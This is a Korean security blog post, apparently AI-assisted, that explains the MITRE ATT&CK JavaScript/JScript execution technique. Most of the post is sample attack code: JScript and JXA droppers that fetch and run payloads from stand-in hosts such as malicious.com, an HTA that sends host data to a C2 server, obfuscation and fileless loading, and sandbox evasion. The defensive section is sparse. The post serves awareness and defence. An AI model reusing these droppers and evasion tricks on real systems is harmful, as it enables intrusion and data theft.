COMMENTS (0)
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
T1059.007 JavaScript/JScript 공격 기법의 동작 원리를 분석합니다. 25개 APT 그룹이 사용하는 파일리스 공격과 난독화 기법, 실제 사례를 통한 방어 전략까지 완전 해부합니다.
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
JavaScript는 전 세계 웹사이트의 97.8%에서 사용되는 프로그래밍 언어이다. 하지만 이러한 광범위한 사용은 공격자들에게도 매력적인 공격 벡터를 제공한다. MITRE ATT&CK 프레임워크의 T1059.007은 JavaScript/JScript를 악용한 명령 실행 기법을 다루며, 현재 25개 APT 그룹이 이 기법을 활용하고 있다.
과거에는 악성코드 배포를 위해 복잡한 실행 파일을 만들어야 했다. 사용자가 의심할 만한 .exe 파일을 다운로드하게 하고, 안티바이러스 탐지를 피하기 위해 패킹과 암호화를 적용해야 했다. 하지만 JavaScript의 등장으로 상황이 달라졌다. 단순한 텍스트 파일 하나로 시스템을 감염시킬 수 있게 된 것이다.
T1059.007은 JavaScript의 크로스 플랫폼 특성과 기존 시스템 통합을 악용하여 탐지를 우회하고 시스템을 침해하는 기법이다.
T1059.007은 JavaScript의 다양한 구현체를 악용하여 시스템에서 악의적인 행동을 실행하는 기법이다. 단순히 웹 브라우저에서만 동작하는 것이 아니라, 운영체제 수준에서 스크립팅 엔진을 통해 실행된다.
Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser. — MITRE ATT&CK T1059.007
이 정의에서 핵심은 "플랫폼 독립적 스크립팅 언어"라는 부분이다. JavaScript는 브라우저뿐만 아니라 Windows Script Host, macOS의 JavaScript for Automation(JXA), Node.js 등 다양한 런타임 환경에서 실행될 수 있다.
| 기술 | 설명 |
|---|---|
| JavaScript | 플랫폼: 크로스플랫폼 / 실행 환경: 브라우저, Node.js / 주요 용도: 웹 개발, 서버사이드 / 공격자 활용도: 높음 (드라이브바이) |
| JScript | 플랫폼: Windows / 실행 환경: WSH, IE, HTA / 주요 용도: Windows 자동화 / 공격자 활용도: 매우 높음 (파일리스) |
| JXA | 플랫폼: macOS / 실행 환경: osascript / 주요 용도: macOS 자동화 / 공격자 활용도: 중간 (APT 표적) |
| PowerShell | 플랫폼: Windows/Linux / 실행 환경: 쉘 환경 / 주요 용도: 시스템 관리 / 공격자 활용도: 매우 높음 (메모리 실행) |
| VBScript | 플랫폼: Windows / 실행 환경: WSH, IE / 주요 용도: Windows 자동화 / 공격자 활용도: 높음 (레거시) |
1-1. Windows JScript 실행
Windows에서 JScript는 Windows Script Host(WSH)를 통해 실행된다. 공격자는 .js 파일을 더블클릭만으로 실행시킬 수 있다.
실제 JScript 악성코드 예시:
// WScript 객체를 통한 시스템 명령 실행
var shell = WScript.CreateObject("WScript.Shell");
var fso = WScript.CreateObject("Scripting.FileSystemObject");
// 시스템 정보 수집
var computerName = shell.ExpandEnvironmentStrings("%COMPUTERNAME%");
var userName = shell.ExpandEnvironmentStrings("%USERNAME%");
// PowerShell 명령 실행 (다음 단계 페이로드)
var psCommand = "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command \"IEX (New-Object Net.WebClient).DownloadString('http://malicious.com/payload.ps1')\"";
shell.Run(psCommand, 0, false); // 0 = 숨김, false = 비동기 실행
1-2. macOS JXA 실행
macOS에서는 JavaScript for Automation을 통해 시스템 수준 작업을 수행할 수 있다.
// JXA를 통한 macOS 시스템 접근
var app = Application.currentApplication();
app.includeStandardAdditions = true;
// 시스템 명령 실행
app.doShellScript("curl -o /tmp/payload.sh http://malicious.com/payload.sh && chmod +x /tmp/payload.sh && /tmp/payload.sh");
// 애플리케이션 제어
var finder = Application("Finder");
finder.activate();
1-3. 브라우저 기반 실행
웹 브라우저에서는 DOM 조작과 Web API를 통해 초기 감염을 수행한다.
// 드라이브바이 다운로드 예시
function triggerDownload() {
// 사용자 환경 정보 수집
var userAgent = navigator.userAgent;
var platform = navigator.platform;
// 조건부 페이로드 다운로드
if (platform.indexOf("Win") !== -1) {
// Windows용 페이로드
window.location = "data:application/octet-stream;base64,TVqQAAMAAAAEAAAA..."; // 실제로는 악성 실행파일
}
}
// 사용자 상호작용 없이 자동 실행
document.addEventListener("DOMContentLoaded", triggerDownload);
2-1. 문자열 난독화
// Base64 인코딩으로 명령 숨기기
var encoded = "cG93ZXJzaGVsbC5leGUgLVdpbmRvd1N0eWxlIEhpZGRlbg=="; // "powershell.exe -WindowStyle Hidden"
var decoded = decodeBase64(encoded);
// 16진수 인코딩
var hexCommand = "\x70\x6f\x77\x65\x72\x73\x68\x65\x6c\x6c"; // "powershell"
// 문자열 분할 및 재조합
var parts = ["power", "shell", ".exe"];
var command = parts.join("");
2-2. 동적 코드 생성
// eval()을 통한 동적 실행
var maliciousCode = "var shell = WScript.CreateObject('WScript.Shell'); shell.Run('calc.exe');";
eval(maliciousCode);
// Function 생성자 활용
var dynamicFunction = new Function("return WScript.CreateObject('WScript.Shell')")();
dynamicFunction.Run("cmd.exe /c whoami");
JavaScript는 메모리에서만 실행되는 파일리스 공격에 최적화되어 있다.
실제 파일리스 구현:
// 메모리에서 PowerShell 스크립트 실행
var shell = WScript.CreateObject("WScript.Shell");
var psScript = `
$bytes = [System.Convert]::FromBase64String('TVqQAAMAAAAEAAAA...');
$assembly = [System.Reflection.Assembly]::Load($bytes);
$entryPoint = $assembly.GetType('Malware.Program').GetMethod('Main');
$entryPoint.Invoke($null, @(,$null));
`;
// 파일 생성 없이 직접 실행
shell.Run("powershell.exe -EncodedCommand " + btoa(psScript), 0, false);
공격자들이 JavaScript를 선호하는 이유는 명확한다. 첫째, 합법적인 도구라는 점이다. 모든 Windows 시스템에는 JScript 엔진이 기본 설치되어 있고, 안티바이러스 소프트웨어도 JavaScript 파일을 기본적으로 신뢰한다. 둘째, 텍스트 기반이라 쉽게 난독화할 수 있다. 바이너리 패킹보다 훨씬 간단하게 탐지를 우회할 수 있다.
공격자들이 가장 자주 사용하는 방법은 이메일을 통한 JavaScript 파일 배포이다.
// 실제 공격에서 발견된 이메일 첨부 JavaScript
var fso = WScript.CreateObject("Scripting.FileSystemObject");
var shell = WScript.CreateObject("WScript.Shell");
// 사용자 환경 체크 (가상머신 탐지)
var processors = shell.ExpandEnvironmentStrings("%NUMBER_OF_PROCESSORS%");
if (processors < 2) {
WScript.Quit(); // 분석 환경으로 판단하고 종료
}
// 정상 동작 위장 (PDF 뷰어 실행)
shell.Run("start https://www.adobe.com/products/acrobat/pdf-reader.html");
// 백그라운드에서 악성 행동
setTimeout(function() {
var downloader = WScript.CreateObject("MSXML2.XMLHTTP");
downloader.open("GET", "http://malicious-c2.com/stage2.exe", false);
downloader.send();
if (downloader.status === 200) {
var stream = WScript.CreateObject("ADODB.Stream");
stream.type = 1; // 바이너리 타입
stream.open();
stream.write(downloader.responseBody);
stream.saveToFile("%TEMP%\\update.exe", 2);
stream.close();
shell.Run("%TEMP%\\update.exe", 0, false);
}
}, 5000); // 5초 지연으로 행동 분석 우회
JScript는 HTA 파일 내에서도 실행될 수 있어, HTML 문서로 위장한 공격이 가능한다.
<html>
<head>
<title>중요한 문서 - 반드시 확인 필요</title>
<HTA:APPLICATION
WINDOWSTATE="maximize"
SHOWINTASKBAR="yes"
NAVIGABLE="yes">
</head>
<body>
<h1>문서를 로딩 중입니다...</h1>
<p>잠시만 기다려주세요.</p>
<script language="JScript">
// 사용자가 문서를 보는 동안 백그라운드 실행
var shell = new ActiveXObject("WScript.Shell");
// 시스템 정보 수집
var systemInfo = {
computer: shell.ExpandEnvironmentStrings("%COMPUTERNAME%"),
user: shell.ExpandEnvironmentStrings("%USERNAME%"),
domain: shell.ExpandEnvironmentStrings("%USERDOMAIN%"),
os: shell.RegRead("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProductName")
};
// C2 서버로 정보 전송
sendToC2(JSON.stringify(systemInfo));
// 추가 페이로드 다운로드 및 실행
downloadAndExecute();
</script>
</body>
</html>
공격자들은 침해된 웹사이트나 악성 광고를 통해 JavaScript를 실행시킵니다.
// 익스플로잇 킷에서 사용되는 브라우저 핑거프린팅
function collectBrowserInfo() {
var info = {
userAgent: navigator.userAgent,
plugins: [],
screen: screen.width + "x" + screen.height,
timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
language: navigator.language,
cookieEnabled: navigator.cookieEnabled,
javaEnabled: navigator.javaEnabled()
};
// 플러그인 정보 수집 (취약점 확인용)
for (var i = 0; i < navigator.plugins.length; i++) {
info.plugins.push({
name: navigator.plugins[i].name,
version: navigator.plugins[i].version
});
}
return info;
}
// 조건부 익스플로잇 실행
var browserInfo = collectBrowserInfo();
if (browserInfo.userAgent.indexOf("Chrome") !== -1) {
// Chrome 특정 취약점 활용
triggerChromeExploit();
} else if (browserInfo.userAgent.indexOf("Firefox") !== -1) {
// Firefox 특정 취약점 활용
triggerFirefoxExploit();
}
Gaza Cybergang의 SneakyPastes 작전
Gaza Cybergang은 JavaScript를 활용한 정교한 사회공학 공격을 수행했다. 이들은 가짜 구인 공고 이메일에 JavaScript 파일을 첨부하여 배포했다.
// Gaza Cybergang이 사용한 기법과 유사한 구조
var decoyDocument = "JVBERi0xLjQKMSAwIG9iago8PAovVHlwZSAvQ2F0YWxvZwov..."; // 가짜 PDF 내용
// 사용자에게 정상 문서 표시
showDecoyPDF(decoyDocument);
// 백그라운드에서 정보 수집 및 C2 통신
var systemData = gatherSystemInfo();
var networkData = scanLocalNetwork();
exfiltrateData(systemData + networkData);
MoustachedBouncer의 외교관 표적 공격
벨라루스 외교관을 대상으로 한 이 공격에서는 JavaScript가 초기 정찰 도구로 사용되었다.
// 외교 관련 문서로 위장한 JavaScript
var diplomaticContent = loadDecoyContent("embassy_meeting_agenda.pdf");
displayContent(diplomaticContent);
// 표적 환경 분석
if (isDiplomaticEnvironment()) {
// 외교망 특화 정보 수집
collectDiplomaticIntel();
establishPersistence();
}
5-1. 시간 지연 기법
// 분석 도구의 타임아웃을 우회하기 위한 지연
var startTime = new Date().getTime();
while (new Date().getTime() - startTime < 30000) {
// 30초간 대기 (샌드박스 분석 시간 초과 유도)
}
// 이후 악성 행동 시작
executePayload();
5-2. 환경 기반 실행 조건
// 실제 사용자 환경에서만 실행
function isRealEnvironment() {
var checks = [
screen.width > 800 && screen.height > 600, // 최소 해상도
navigator.hardwareConcurrency > 1, // 멀티코어 CPU
new Date().getTimezoneOffset() !== 0, // 실제 시간대
navigator.plugins.length > 0 // 브라우저 플러그인 존재
];
return checks.every(check => check === true);
}
if (isRealEnvironment()) {
initiateMaliciousActivity();
}
모니터링 대상 프로세스
JavaScript 공격을 탐지하려면 다음 프로세스들을 모니터링해야 한다:
네트워크 트래픽 분석
// 의심스러운 네트워크 패턴
// 1. 단기간 내 다수 도메인 접속
// 2. Base64 인코딩된 데이터 전송
// 3. 비정상적인 User-Agent 헤더
파일 시스템 모니터링
%TEMP% 디렉토리의 실행 파일 생성보안 정책 구현
JavaScript 실행 제한
애플리케이션 화이트리스팅
사용자 교육
T1059.007 JavaScript/JScript 공격은 합법적인 스크립팅 언어를 악용하여 시스템을 침해하는 정교한 기법이다. 텍스트 기반의 특성과 크로스플랫폼 지원, 그리고 기본 설치된 실행 환경을 활용하여 탐지를 우회하면서도 강력한 공격을 수행할 수 있다.
이 기법은 T1059 스크립트 기반 공격의 한 분야로, PowerShell 악성코드나 VBA 매크로 공격과 함께 현대 사이버 공격의 핵심 기법 중 하나이다. 또한 공급망 침해나 사회공학 공격의 초기 단계에서 자주 활용된다.
앞으로는 JavaScript 엔진의 보안 강화와 함께 WebAssembly 기반 공격, AI 생성 JavaScript 악성코드 등 새로운 위협에 대한 연구가 필요할 것이다.
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.